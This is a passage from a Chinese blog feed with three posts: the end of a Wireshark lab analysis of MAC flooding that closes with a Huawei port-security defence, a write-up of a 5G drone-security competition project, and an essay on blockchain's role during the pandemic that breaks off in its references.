src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200628230934444.png" alt="image-20200628230934444"></p><p>可以看到这里有基本上所有 IP 之间的报文只发了一次，这个是非常不正常的！至少一个以上，比如TCP 三次握手都需要一次通信。所以基本可以咬定，源 IP 和目的 IP 都是伪造的。<br>选项 - 统计 - 协议分析：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image008.png" alt></p><p>这个统计图是从 Frame 展开，到 Ethernet，再到 IP，再到传输层到应用层。<br>这里可以看出，大部分的集中在了 IPv4 协议。<br>但是正常情况下，TCP 和 UDP 应该是最多的，这里链路层协议占比很多，很可能是伪造的。<br>我们不妨看一下我随便捕捉的正常的数据包的情况：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image009.png" alt></p><p>UDP 报文和 TCP 报文占比比较重，这个是比较正常的情况。<br>现在，很肯定这是来自数据链路层的 MAC 泛洪。</p><h1>找到攻击的源头</h1><p>其实刚刚已经提到了，我们用 kali 进行 MAC 泛洪的时候，查看了交换机的 mac-address 表，发现 Eth0/0/3 对应了大量的 MAC 地址。也就是说如果我们有交换机控制权，就能查到 MAC 泛洪攻击的始作俑者。（连的接口是不能伪造的）</p><h1>如何防御 MAC 地址泛洪攻击</h1><p>非常简单，让一个端口只能对应特定个数 MAC，在华为交换机里的配置是这样的：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">int eth0&#x2F;0&#x2F;3</span><br><span class="line">port-security enable</span><br><span class="line">port-security mac-address sticky</span><br><span class="line">port-security protect-action protect</span><br><span class="line">port-security mac-mac-num 8 </span><br><span class="line">disaplay mac-address</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;接下来我会开一个 Wireshark 网络分析的博文系列，主要借助华为的网络模拟工具 eNSP ，它可以接入真实的主机，为我们进行网络攻击提供了非常友好、非常纯洁的环境。&lt;br&gt;
具体怎么连接可以自行查阅，或者可以在评论区留言，我可以单独再写一篇~ 😁&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://www.zer0-nu1l.com/uploads/Wireshark.jpg&quot; alt=&quot;Wireshark&quot;&gt;&lt;/p&gt;
&lt;p&gt;下面从数据链路层对交换机的攻击说起：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;目前网络安全的问题有     80%来自于“内部网络”&lt;/li&gt;
&lt;li&gt;链路层是内部网络通信最为重要的协议，而交换机正是这一层的典型设备&lt;/li&gt;
&lt;li&gt;但是相比起其他网络设备来说，交换机的防护措施往往也是最差的，因此也经常成为黑客攻击的目标。&lt;/li&gt;
&lt;/ol&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/categories/Web/Wireshark/"/>
    
    
      <category term="kali" scheme="https://zer0-nu1l.github.io/tags/kali/"/>
    
      <category term="Wireshark" scheme="https://zer0-nu1l.github.io/tags/Wireshark/"/>
    
      <category term="eNSP" scheme="https://zer0-nu1l.github.io/tags/eNSP/"/>
    
  </entry>
  
  <entry>
    <title>5G 无人机安全系统 JoyFly</title>
    <link href="https://zer0-nu1l.github.io/2020/06/22/5G%E6%97%A0%E4%BA%BA%E6%9C%BA%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F/"/>
    <id>https://zer0-nu1l.github.io/2020/06/22/5G%E6%97%A0%E4%BA%BA%E6%9C%BA%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F/</id>
    <published>2020-06-22T07:25:42.000Z</published>
    <updated>2020-12-18T14:21:16.053Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Cover.gif" alt></p><a id="more"></a><h1>前言</h1><p>某学院举办了“5G应用创新大赛”，分成两个赛道，在 NUS 项目中结识的伙伴，兴致勃勃地打算重建团队，参加“应用场景设计”赛道，一雪 NUS 落榜之耻。（某个没有UI/UX灵魂的理财软件瓦釜雷鸣，我们耿耿于怀😢 ）<br>一方面，想通过此次机会练习项目开发配合，项目推进安排，还有编写规范的文档、策划书、答辩展示能力；另一方面，希望能乘机督促自己学习各种前沿的概念。（当然还有几种 PPT 设计还想尝试一下：2.5D，3D，新拟态等）<br>报名的时候还在学期内，抽了四天的一点课余时间，上报了一个“5G 下基于深度强化学习与区块链的大流量物流配送和监管平台”的课题。（为之后走入死胡同埋下伏笔 😅）<br>在寒假第四次会议的时候，@zjmy 整出了下面这个庞大而所有成员陷入绝望的思维导图：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200622180656636.png" alt></p><center>图：原方案疑问点归纳 </center><p>这也是项目的一次转折点。我们回想起 Professor Lu 对我们团队说过的 “You are not trying to solve a single problem”，回想起 “Don’t be afraid of making the mistakes”，回想起”Spend 20~30% time to try your ideas“，最后从中抽取了出”无人机安全“的话题。<br>后续查阅资料、文献、法律法规，搜寻同类产品等等，得到了初步的方案，在后续的讨论中也得到了令我们很满意的方案。（PPT 的各种设计也做了个痛（zi）快（bi）)<br>总的来说，还是非常有收获的，项目管理、团队合作体验都极佳（以后做 PPT 没有 @Dyllan Logo&amp;UI 设计、素材处理、提供配色方案了😭😭:sob），也接触了很多新的技术和观念，PPT 也设计能力更上一层楼，答辩的各种细节也有很多收获。</p><blockquote><p>⚠️郑重声明，由于过长时间设计 PPT ，导致 PSTD，武功散尽，本人已经不会再为项目做任何的 PPT。🤒</p></blockquote><h1>背景与需求</h1><blockquote><p>瞎扯完之后，我就开始简单介绍这次做的项目了。🙂</p></blockquote><p>当今当代，无人机技术逐渐成熟，在各个领域都得到广泛应用。从无人机出租车到无人机送餐，乃至疫情防控等方面，无人机功能相继试验成功。<br>在即将到来的 5G 时代，凭借其无限的发展能力，蜂窝技术为无人机带来全新级别的可靠性、覆盖性、移动性，以及安全性，这将为无人机行业未来发展提供更加丰富的资源。<br><a href="https://www.qdaily.com/articles/53767.html?tdsourcetag=s_pctim_aiomsg" target="_blank" rel="noopener">饿了么开始用无人机送外卖</a>，美团试水无人机机器人送外卖，亚马逊用无人机送货，5G智慧无人机高空助防疫，答辩现场也有 5G 无人机的项目：基于5G及无人机群的医疗救援、5G网联无人机火情检测系统。大家都在畅想利用 5G+无人机 开拓人类的空中空间。<br>可能笔者是网络安全方向的学生，有着一点点浅薄的网络安全素养，对于 5G+无人机的安全性非常在意。</p><p align="center"><video width="690" height="400" controls><source src="./需求深度分析.mp4"></video></p><p>5G时代到来，包括无人机在内的各种物联网设备，将以排山倒海之势涌入市场，革新生活面貌，很多曾经只出现在科幻小说中的新事物逐渐在人类文明的舞台上登场。</p><p>IOT 被爱立信预测到2025年设备数量将从 2019 年的 11亿 增加到 250亿，设备爆炸而致的数据收集方式改变的讨论如火如荼；AWS 等大型云计算供应商全力以赴深化数据处理集中模式，“数据引力”而产生的循环加速和朝着生成数据的计算“边缘”方向的矛盾冲突亟待解决；“IT组装线”推行的阻滞揭露了数据结构通常只是权利结构遮上了薄薄的面纱，数据永远都不是中立的，始终是安全问题，绝不可能有“唯一版本的事实”的存在。</p><p>当人们在畅想利用 5G 技术与无人机相结合的时候，却往往低估了当新事物发展过程中来自旧事物的抵抗力量。科技带来的生活方式变革转型必然伴随着众多矛盾局面和权衡取舍，市场、机构、基础设施等等的发展走向都成为了热议的命题，而在 5G 与无人机相结合的过程中，安全问题是强大的抵抗力量之关键。</p><p>耶鲁大学的 David Gelernter 曾预言“镜像世界”：一个基于数据、受数据驱动的人类生活的新维度。<br>而其发展将反作用于现实世界，催生虚拟与现实问题，加速生活变革的进展。新时代，人类即将把生活空间的边界拓展至空中空间，伴随而来的正是诸多矛盾冲突，如地面空间对空中空间的威胁（来自地面的恶意破坏等），空中空间对地面空间原有秩序的威胁（用户隐私问题、空中坠物的问题等），空中飞行物自身的安全稳定性问题（故障分析响应）。</p><p>本项目推陈出新，切中这阻碍5G时代发展的症结，立足于目前被忽视却绝不可忽略的安全需求，并利用5G高速率、大容量、低时延高可靠的特点，创新地提出综合利用云计算、人工智能、区块链等技术为无人机在空中空间安全提供可靠保障，兼容现有的部分制度，并为未来相关法律纠纷提供帮助。本项目旨在“对症下药”，掌握技术、利用技术，针对弊病制定切实可行的方案，高效完备地解决安全议题，</p><h1>项目方案</h1><p align="center"><video width="690" height="400" controls><source src="./业务流程图.mp4"></video></p><p>首先，用户向交易平台提供目标无人机信息，购买无人机安全服务，获取产品序列号。无人机经过认证，并通过5G通信连接服务器，实现服务的连接。</p><p>在飞行过程中，无人机将采集 湿度、光照、雨量、风速等气象信息，并监控 无人机姿态、GPS信息、飞行速度、电池电压等自身信息，统计 执行器的五种故障数据，并通过摄像头拍摄高清画面。其中高清画面通过无人机群联合拍摄不同角度，对无人机群自身及周边环境进行全方位监控；</p><p>无人机在飞行过程中，调用云端的深度强化学习模型进行自动化的飞行。</p><p>而其他业务，如攻击检测、故障分析等，采用的模式是类似的，其中轻量级的服务，可直接从云端下载到无人机的芯片上，在无人机端直接运行；而重量级的服务，则将采集到的数据 利用 5G 技术 高速传输到云端进行处理，由云端服务返回决策控制信息。相关的服务有 GPS 攻击识别、禁飞区识别、智能路线调整、故障分析等等。</p><p>设备采集的数据分为文本、图片和视频：由于视频数据较大，不适合直接上链存储，需利用机器学习识别具有业务需求特征的图片。每隔一定时间，将文件或文件存放的路径及其 hash 值上链。实现数据的防篡改存储。</p><p>当无人机发生事故时，可以根据时间检索区块的内容，为事故分析和民事事件提供重要证据与线索；</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/%E4%B8%9A%E5%8A%A1%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84%E5%9B%BE.png" alt></p><center>图：应用场景与基础能力 </center><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/%E4%B8%9A%E5%8A%A1%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84%E5%9B%BE.png" alt></p><center>图：业务系统架构图</center><h1>核心问题介绍</h1><h2 id="无人机会遇到哪些安全威胁">无人机会遇到哪些安全威胁</h2><ol><li>失控坠落（受复杂的外界环境和人为因素的影响）<ol><li>飞行高度低，会不可避免地来自打靶者和偷窃者的乱射或者其他意外伤害；</li><li>天气恶劣（冰雹或小雪）</li></ol></li><li>民事相关<ol><li>威胁航空安全</li><li>威胁人民群众生命财产安全</li><li>威胁民众隐私安全</li><li>肆意获取私人信息</li><li>扰乱公民正常生活</li><li>泄露公民私人信息</li></ol></li><li>网络安全<ol><li>被动攻击（传输信息被窃取，也就是所谓的“被动攻击”）</li><li>主动攻击<ol><li>以向手机发虚假视频，欺骗用户，制造无人机正常工作的假象。</li><li>侵入并控制无人机，可以将摄像头指向任意方向，打开或关闭摄像头，窃取无人机上存储的图像， 或者删除无人机上的所有数据。</li><li>劫持无人机，让它飞到任意地方或坠毁。</li><li>GPS 欺骗（向GPS 接收装置发送虚假GPS 数据）</li></ol></li></ol></li></ol><h2 id="区块链发挥的主要作用是什么？">区块链发挥的主要作用是什么？</h2><p>区块链的核心价值在于作为可信互联网的基础设施，实现可信的网上社会。</p><p>所有人类活动都是基于某种程度的信任，然而现实社会中建立和维持信任的成本很高。而我们也通过区块链技术，大幅度地提高人类互动的效率，降低信任成本，让人们能更安心地、大规、日常化地使用无人机，拓展人类生存活动空间。</p><h2 id="区块链为什么采用联盟链？">区块链为什么采用联盟链？</h2><p>区块链技术的落地应用，需要政府、金融机构等多方的配合，而且要基于相应的产业或领域信息化改造的基础之上。</p><p>首先，区块链按准入机制分成三类，公有链、私有链、联盟链，以后还有可能诞生其他类型的区块链。我们只是在综合考虑各方条件下，给出了一个比较可行的方案，完全可以根据具体情况进行变更、<br>公有链公开透明，世界上任何个体或团体都可以在公开链发送交易。联盟链半公开式，是某个群体或组织内部使用的区块链。根据目前的国家政策和具体的商业考虑，联盟链的可行性最高。</p><h1>UI &amp; Logo 设计</h1><p align="center"><video width="690" height="400" controls><source src="./设计.mp4"></video></p>---<blockquote><p>感谢团队所有成员的倾力付出，感谢 wj 做了一份震撼热心的文稿优化（虽然答辩的时候忍痛删减）， 感谢 sy 给我的 PPT 一些很好的建议。<br>最后再次⚠️郑重声明，由于过长时间设计 PPT ，导致 PSTD，武功散尽，本人已经不会再为项目做任何的 PPT。🤒</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Cover.gif&quot; alt&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="Development" scheme="https://zer0-nu1l.github.io/categories/Development/"/>
    
      <category term="5G" scheme="https://zer0-nu1l.github.io/categories/Development/5G/"/>
    
    
      <category term="5G" scheme="https://zer0-nu1l.github.io/tags/5G/"/>
    
      <category term="Blockchain" scheme="https://zer0-nu1l.github.io/tags/Blockchain/"/>
    
      <category term="ML&amp;DA" scheme="https://zer0-nu1l.github.io/tags/ML-DA/"/>
    
      <category term="Cloud Computing" scheme="https://zer0-nu1l.github.io/tags/Cloud-Computing/"/>
    
  </entry>
  
  <entry>
    <title>疫情下，被寄予期望的区块链技术</title>
    <link href="https://zer0-nu1l.github.io/2020/06/01/%E7%96%AB%E6%83%85%E4%B8%8B%EF%BC%8C%E8%A2%AB%E5%AF%84%E4%BA%88%E5%B8%8C%E6%9C%9B%E7%9A%84%E5%8C%BA%E5%9D%97%E9%93%BE%E6%8A%80%E6%9C%AF/"/>
    <id>https://zer0-nu1l.github.io/2020/06/01/%E7%96%AB%E6%83%85%E4%B8%8B%EF%BC%8C%E8%A2%AB%E5%AF%84%E4%BA%88%E5%B8%8C%E6%9C%9B%E7%9A%84%E5%8C%BA%E5%9D%97%E9%93%BE%E6%8A%80%E6%9C%AF/</id>
    <published>2020-06-01T11:42:34.000Z</published>
    <updated>2020-12-18T13:49:39.612Z</updated>
    
    <content type="html"><![CDATA[<p>[摘 要] 区块链技术在1024讲话后，得到正名和政策的支持引导，并逐步落地，进入到强调赋能产业的3.0阶段。文章聚焦于区块链在疫情中为何与如何被给予希望，以及实际上并没有出色完成任务背后的技术限制和中国区块链技术成熟度问题。之后会剖析区块链无可替代的核心价值——可信互联网的基础设施、国家中心化与去中心化的中庸之道。并对区块链在后疫情时期发挥的作用和疫情之后的未来进行展望。</p><p>[关键词]  区块链技术；疫情；核心价值；可信；去中心化；应用落地</p><a id="more"></a> <h1>一、区块链技术简介</h1><h2 id="1-1-技术简介">1.1 技术简介</h2><p>虽然本文不会涉及过多底层的区块链的技术，就像科学技术史不会讨论非常细节的原理，而更在乎放在社会大背景下科学技术发展的趋势及影响。所以本文会对区块链技术的基本概念进行简单描述。<br>很多人经常会把区块链和比特币混为一谈，其实这是两个概念。区块链来自于比特币等加密货币的实现，即先有比特币，而区块链技术是比特币的底层技术。和人工智能、大数据、云计算不同的是，区块链并不是新的创造和发明，区块链只是技术的集成，包括分布式数据存储、点对点传输、共识机制、非对称加密算法等。<br>为了说明的便捷性，下面以比特币为例对区块链的概念进行简单解释。<br>新区块是由哈希值、随机数产生，而区块间的连接是：新的哈希值随机数是由上一个区块计算产生的。哈希函数的性质保证区块数据的唯一性，所以算力竞争无法作弊，挖矿公平性。<br>区块的前八十个字节、包含上个区块的哈希值，用以保证区块按顺序串联；区块中包含时间戳，用来记录区块生成时间；之后是区块的内容，如交易信息等可由开发者自定义的数据。<br>区块链按准入机制分成三类，公有链、私有链、联盟链，，以后还有可能诞生其他类型的区块链。公有链公开透明，世界上任何个体或团体都可以在公开链发送交易。比特币区块链就是公有链的典型代表。联盟链半公开式，是某个群体或组织内部使用的区块链。<br>创建区块的“资格”是由共识机制决定，常见的共识机制有工作量证明机制（PoW）、权益证明机制（Proof of Stake）、授权股权证明机制（DPoS）。比特币挖矿就是工作量证明机制PoW，谁先计算出区块的答案，谁就可以创建区块进行记账。<br>下面是区块链的基本的架构图<sup>[1]</sup>，之前的概念都是协议层的概念。区块链的应该在定义好协议层之后，和业务相关的部分和扩展层挂钩。</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image002.png" alt="这里写图片描述"></p><center>图源：https://blog.csdn.net/weixin_42758350/article/details/81230238</center><h2 id="1-2-区块链在中国的发展">1.2 区块链在中国的发展</h2><p>基于区块链的应用主要特点是无监管、去中心化、难篡改、可追溯等。<br>区块链的分散化，自治，去中心化的特点，削弱国家监管的概念。这一点对于区块链的推广、商业化有很大的影响。因为所有创新都需要符合监管要求。这也是区块链在中国的发展并不被人看好的主要原因。<br>但有人将区块链的“去中心化”的特点进一步理解为“去中心化的同时再中心化”，认为区块链此特点等于重新排序互联网世界，并跃迁更高层次和维度。其有效应用必能推动媒体传播融合发展，提高内容生产效率、提升传播效果。在此基础上引入以“可信数据输入系统”“Gossip 传播协议”“数字验证机制”为核心的区块链传播机制，进而探索其在公共信息发布中的应用，有利于关键时期提高政府发布信息的公信力，减小社会谣言、流言带来的整体危害，增加社会面对重大问题的集体凝聚力 <sup>[2]</sup>。<br>这很可能是区块链在中国从边缘化转变为被高度重视的主要原因。<br>中国信息通信研究院于2018年发起可信区块链推进计划，组织编写了《区块链白皮书》（2018）。2019年10月24日下午，中共中央政治局就区块链技术发展现状和趋势进行第十八次集体学习。之后，区块链布局频频写进政府决策文件。中国的区块链研究开始高速发展。并被给予高度的期待。<br>在政策和市场的双重推动下，区块链技术赋能实体经济的步伐在加速。眼下，区块链行业已进入到强调赋能产业的3.0阶段，专注于“区块链+”的企业将是2020年区块链领域最为活跃的分子之一，他们必将引领我国区块链产业潮流的方向<sup>[3]</sup>。</p><h1>二、疫情中存在的问题</h1><p>1024讲话不久之后，中国便爆发了重大的疫情。<br>在此期间，疫情防控救灾过程中出现了各种问题。口罩造假、谣言满天飞、慈善捐款挪用不透明等热点问题，都因为区块链信息不可篡改、数据保真可追溯等特点被寄予期望。<br>此外，从政府角度考虑，还有给民众的医疗物资的配发问题和稀缺物质的优化配置。在给民众的医疗物资的配发的时候，通知的时间不及时，民众医疗物资和生活物资配发困难。医用酒精、N95口罩这些物资的优先配置依赖于资源的透明性<sup>[4]</sup>。<br>其实在埃博拉病毒爆发期间，已有专家提出基于区块链的埃博拉监测平台技术SERIS。<br>疫情期间的谣言密集涌现也是严重的问题。虽然多个新闻终端上线了辟谣专区，但是由于网络社会的迅速发展与政府舆论控制机制有待完善，一些突发事件使消极舆情迅速发酵、爆发。如何更好控制重要公共信息发布过程中的舆论走向，在当前这个信息爆发的时代十分关键。<br>以上的问题一定程度上可以归结为信息流通共享不畅、信息不对称和信任问题。<br>被指定接收捐赠物资的主要机构湖北省与武汉市红十字会系统成为众矢之的，他们原本应该为重大突发事件做好准备，却一开始就因专业能力不足遭遇了信任危机。武汉红十字会位于汉阳的武汉国际博览中心A馆仓库，面对堆满了一个足球场大小的物资，少量的工作人员拿着A4纸和介绍函在办流程，完全没有中国已经发展了多年的现代物流信息系统⁵。这之后区块链的呼声更加火爆。</p><h1>三、疫情中国区块链发挥的作用</h1><h2 id="3-1-疫情下区块链的被寄予的期望">3.1 疫情下区块链的被寄予的期望</h2><p>疫情防控过程暴露出了我国在公共性突发事件的应对中仍然存在许多有待提升的地方，而有着国家政策的支持发展和此次公共突发事件的需求，具有去中心化、公开透明、可追溯、不可篡改等特性的区块链自然被基于期望，区块链的业务机遇正在不断涌现，特别是非接触式的、增加公共服务效率的、促进精细化管理等场景，对区块链等新一代信息技术的需求正在增多。<br>区块链将实现信任构建，信息共享，多主体协作，信息溯源等功能需求，在降低信任成本，提升社会运转效率等方面存在着巨大的发挥空间<sup>[3]</sup>。<br>且突发公共卫生事件下区块链与应急物流的耦合度极高，如下图所示：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image004.jpg" alt="img"></p><center>图源：《突发公共卫生事件下基于区块链应用的应急物流完善研究》<sup>[6]</sup></center><p>同时，需要强调的是，区块链发挥作用的领域是防疫的关键领域，而非点缀。如果把医疗健康看作是防疫刀尖，那么区块链发挥作用的医疗物资资源、信息沟通等则是防疫的刀背。对于物流、人流、车流进行有效监测共享调用与管理、有效配置交通信息调用统筹安排确保返程流量顺畅、让医疗资源得到更高效合理的利用，让受损行业在融资市场与生产要素市场等能够得到有效支持<sup>[7]</sup>，这些都关乎防疫的命脉。<sup>[6]</sup></p><h2 id="3-2-疫情下区块链的表现">3.2 疫情下区块链的表现</h2><p>虽然区块链的应用在新闻上还是有得到各种宣传，然而实际上区块链在疫情中的表现并不乐观。甚至有人写文章称“区块链集体‘失声’”。<br>相比起人工智能、大数据、云计算等前沿技术，区块链技术在疫情防控中的表现十分不起眼。据零壹智库不完全统计，疫情期间，在信息技术抗疫应用数量占比中，人工智能、大数据、云计算位列前三，其中，应用人工智能的案例最多，高达71%，而区块链技术应用数量占比仅为9%。其中区块链的12 项案例中，也仅25%实现了大规模应用<sup>[8]</sup>。<br>区块链的开发上，可以看出区块链在疫情防控上也大多是临时发挥。调研中，23家区块链企业中有12家开展了区块链抗疫应用，其中有66.67%的应用基于原先业务改造，25%的应用为临时开发，仅有8.33%的应用基于原有业务。这说明，区块链企业在公共疫情防控等相关方面的应用不足，尚存在较大发展空间³。<br>在热点问题上，区块链也没有很好地解决问题。假口罩频频爆出，辟谣依旧靠专家，红会再上风口浪尖。在疫情下，区块链对口罩问题无能为力，口罩厂家、商家、口罩本身都是在链条之外，也无法构建相应的链条（即使是联盟链），对每个口罩独立链上标识不现实，流转记录上链更是天方夜谭。谣言问题上区块链也是无能为力，依旧是靠腾讯、网易、丁香医生等专业平台，在专家的支撑下，进行谣言的鉴别和解答，配合公安机关对造谣者的重拳出击，让局面没有失控。区块链慈善解决方案并没有在红十字会中使用，人们的善心被当作利益的工具，重要物资到不了亟需的前线⁹。<br>总而言之，区块链的表现确实并不如意。</p><h2 id="3-3-区块链表现不佳的原因">3.3 区块链表现不佳的原因</h2><h3 id="3-3-1-区块链本身的技术限制">3.3.1 区块链本身的技术限制</h3><p>第一、上链前不可控。区块链只能信息记入区块的之后发生作用，所以上链前不可控的现象不可避免，如果假的数据上链了，反而让事情变得更糟，虽然链下数据可以通过交叉比对、建模等方式验证，但这并不是区块链。<br>第二、成本高且复杂。以口罩溯源为例，如果真在实施，需要厂家、商家、物流、消费者等所有相关单位和个人都在链上，需要口罩从下生产线到流通每个环节的每个细节都在链上，是否被使用过、是否沾染了病菌，都需要记录下来，这需要搭建一个怎样的链条、这个链条与其他链条的交叉关系如何处理，错综复杂。其中核心的是如何获取完整的细节数据，而区块链只解决获取数据之后的存储问题⁹。<br>第三、去中心化的低效。这一点取决于采用的共识机制，如果用1.1节举例的共识机制来面对谣言的识别，用区块链共识算法POS全民投票十分低效并且无意义。</p><h3 id="3-3-2-我国区块链发展的进度">3.3.2 我国区块链发展的进度</h3><p>第一，我国区块链行业发展尚处于早期。区块链技术的价值在国内得到真正的正视，始于去年中央层面的1024讲话，而此前社会大众对区块链的认知更多地与“币”关联，监管层面对加密货币相关的整治也对区块链研发应用领域造成一定的牵制。受限于政府和监管层的态度，行业在发展推进速度上尚不理想。在疫情发生的时候，距离区块链技术得到“正名”也才仅仅数个月时间，应用落地推进工作大多尚处于早期，因而在疫情中难以有突出的规模化效果。<br>第二，区块链技术本身尚不成熟，其安全性、可拓展性和稳定性都有待进一步提高。同时，行业对区块链技术的理解尚存在局限性，对技术的落地推进尚不能带来效果明显的增益作用。根据全球领先的信息技术研究和顾问公司Gartner公布的2019年区块链科技技术成熟度曲线，区块链技术目前尚未达到成熟阶段。Gartner杰出分析师兼研究副总裁Avivah Litan也指出，目前大多数企业的区块链项目还停留在实验模式上。根据Gartner的预测，区块链技术和运营要到2028年才能实现全面扩展。<br>第三，区块链技术的落地应用，需要政府、金融机构等多方的配合，而且要基于相应的产业或领域信息化改造的基础之上，目前来看，国内多个产业领域的信息化土壤上仍不成熟，因此，适合区块链技术大规模落地应用的领域并不多。<br>第四，我国区块链技术应用研发更偏重于对效率的考虑，与风险防范相关的应用研发缺乏相应的政策引导和支持，因而存在较大缺位。如图4所示，此次疫情防控中，推出或计划推出的应用中，超过九成并非企业原先规划中的业务，大多数是基于原先业务改造（66.67%）或是临时开发（25%）。可见，真正适用于防疫抗疫或者是服务于公共事件风险防范的应用，并不在大多数企业们的技术研发规划中。<br>第五，区块链行业的发展虽然得到来自中央层面的肯定，但要将区块链技术与具体的场景相结合，推动应用落地的成本依然很高，在缺少买单人的情况下，大部分中小型区块链企业都有成本压力，因而对行业发展推动也带来一定的延滞影响。<sup>[3]</sup></p><h2 id="3-4-区块链的核心价值">3.4 区块链的核心价值</h2><p>疫情防控诠释人类命运共同体的深刻内涵，我觉得区块链也具有这样的内涵，每一个区块由参与共识机制的人共同努力，每个人都为区块的防篡改而努力。虽然区块链在防疫过程中不是熊熊燃烧的火焰，但星星之火，可以燎原，未来区块链在人类生活中的应用的趋势将不可阻挡。<br>区块链的核心价值在于作为可信互联网的基础设施，实现可信的网上社会<sup>[10]</sup>。毫无疑问的是在这一点上，区块链的核心价值是人工智能、大数据、云计算、5G等技术不能代替的。所有人类活动都是基于某种程度的信任，然而现实社会中建立和维持信任的成本很高。通过区块链技术，就能够大幅度地提高人类互动的效率，降低信任成本，催生新的业务模式。<br>这一核心价值不仅是人工智能、大数据、云计算、5G等技术不能代替的，相反，还会大大支撑和拓展这些技术的发展。科技是一把双刃剑，技术被广泛应用的同时也带来了用户隐私问题。疫情期间这些技术的广泛采用也伴随着大量数据的采集，出现了极其严重的个人信息泄露的问题。借助区块链等新技术实现信息安全有序共享，《打造疫情防控中个人信息的“四位一体”保护体系》也提到了借助区块链等新技术实现信息安全有序共享<sup>[11]</sup>。</p><p>区块链之于国家的核心价值是中心化与去中心化有机的结合。有中国的中庸之道的意味<sup>[12]</sup> 。疫情期间最需要的是什么？ ①要有依靠：国家、政府公信力、信息；②有解释：谣言、辟谣③有物资来源：物资管理和信息。私以为最重要的莫过于国家的政府的公信力。而区块链能带来这种精神上极为重要的“防疫药剂”。</p><h1>四、后疫情时期区块链的作用</h1><p>目前疫情已经基本得到控制，复工复产复学是要解决的焦点问题。<br>长期以来，小微企业由于自身信用不足、抵质押物相对缺乏、信息不对称等原因导致其融资难、融资贵、融资慢，而供应链金融就是银行围绕核心企业，管理上下游中小企业的资金流和物流，以核心企业的信用做背书，向链条中的小微企业提供贷款的金融服务。<br>在供应链中，涉及物流、商流、资金流和信息流等多个方面，每个流程中又存在中小微企业、核心企业、银行等多个主体，因为信息安全、数据管理系统并不相通的问题，<br>供应链金融模式面临着企业信息孤岛、核心企业信用不能跨级传递，导致中小企业融资难以及信息造假三大难题。<sup>[13]</sup><br>而区块链能大大提升行业透明，并能和云签约协同升交易效率。<br>更多的可以参看《后疫情时代区块链如何助力抗疫复工行业应用报告》。<br>疫情加快社会数字化建设进程，区块链赋能产业将加速。疫情是科技进步的一大动力，回顾2003年非典，其对我国经济社会发展带来了巨大影响。非典之后，中国电商产业崛起，以淘宝、京东为代表的电商企业依托信息化技术迎来巨大发展。此次疫情虽然带来种种不利影响，但也可以看到基于数字技术的各类需求场景被激活、呈爆发式增长状态，从生活领域到生产领域、城市治理能力与治理体系的方方面面，催生出新场景、孕育出新业态，给新经济发展带来强大的发展潜力。相信区块链也会从中得到飞速成长。<sup>[14]</sup></p><h1>五、疫情之后的区块链展望</h1><p>虽然被寄予过高期望的区块链在这次疫情中发挥的并不理想，在后疫情时代也在努力为恢复生产发展做贡献，但相信在下一次的疫情防控能够以崭新的面貌王者归来。<br>这次疫情的冲击会使人们重新思考数据透明、真实、可信的重要性，重新思考系统整合的重要性。未来，区块链将在疫情防控、公共卫生、公益事业领域发挥重要作用。区块链在构建国家级的防灾应急指挥系统中，可能发挥基础性的作用，而这也将带动区块链的快速发展。<sup>[15]</sup><br>（一）区块链将为社会数字化转型赋能。<br>数字化转型是近几年包括政府和企业在内都在提倡的口号，相应的转型行动也在推进。数字化转型更多地是一个加分项而尚未成为发展的必选项，数字科技的应用在很多企业中尚没有涉及核心业务，在此次疫情中暴露出的不少问题也验证了这一点。经过此次疫情，在数字化建设过程中会更注重公共风险管控、治理方面的技术应用和设施。区块链技术作为数字社会的基础性和系统性设施，2020年有望在金融、供应链、政务等多个垂直领域规模化落地。<sup>[3]</sup><br>（二）区块链与物联网、人工智能和5G等前沿技术深度融合<br>这一点在3.4区块链的核心价值部分其实有提到，区块链将作为可信社会的基础设施，和各种前沿技术相融合。<br>（三）监管法规的逐步完善助推行业进一步走向正规化<br>在3.3.1区块链本身的技术限制中提到的很多并非技术难题，而是社会问题，这将对司法部、商务部等部门提出更多的任务，贯彻1024讲话精神，推动区块链的发展。</p><h1>参考文献</h1><ol><li>最全的区块链技术分析和总结（附知识图谱）_区块链_小牛BlOcK-CSDN博客[EB/OL][2020-04-28]. <a href="https://blog.csdn.net/weixin_42758350/article/details/81230238" target="_blank" rel="noopener">https://blog.csdn.net/weixin_42758350/article/details/81230238</a>.</li><li>杨东. 以区块链技术应对重大风险事件[N]. 学习时报, 2020: 003.</li><li>危·机·消·长：区块链“战疫”——区块链行业抗疫调研报告[EB/OL][2020-04-14]. <a href="https://baijiahao.baidu.com/s?id=1660923440144503691&amp;wfr=spider&amp;for=pc" target="_blank" rel="noopener">https://baijiahao.baidu.com/s?id=1660923440144503691&amp;wfr=spider&amp;for=pc</a>.</li><li>零壹直播间 | 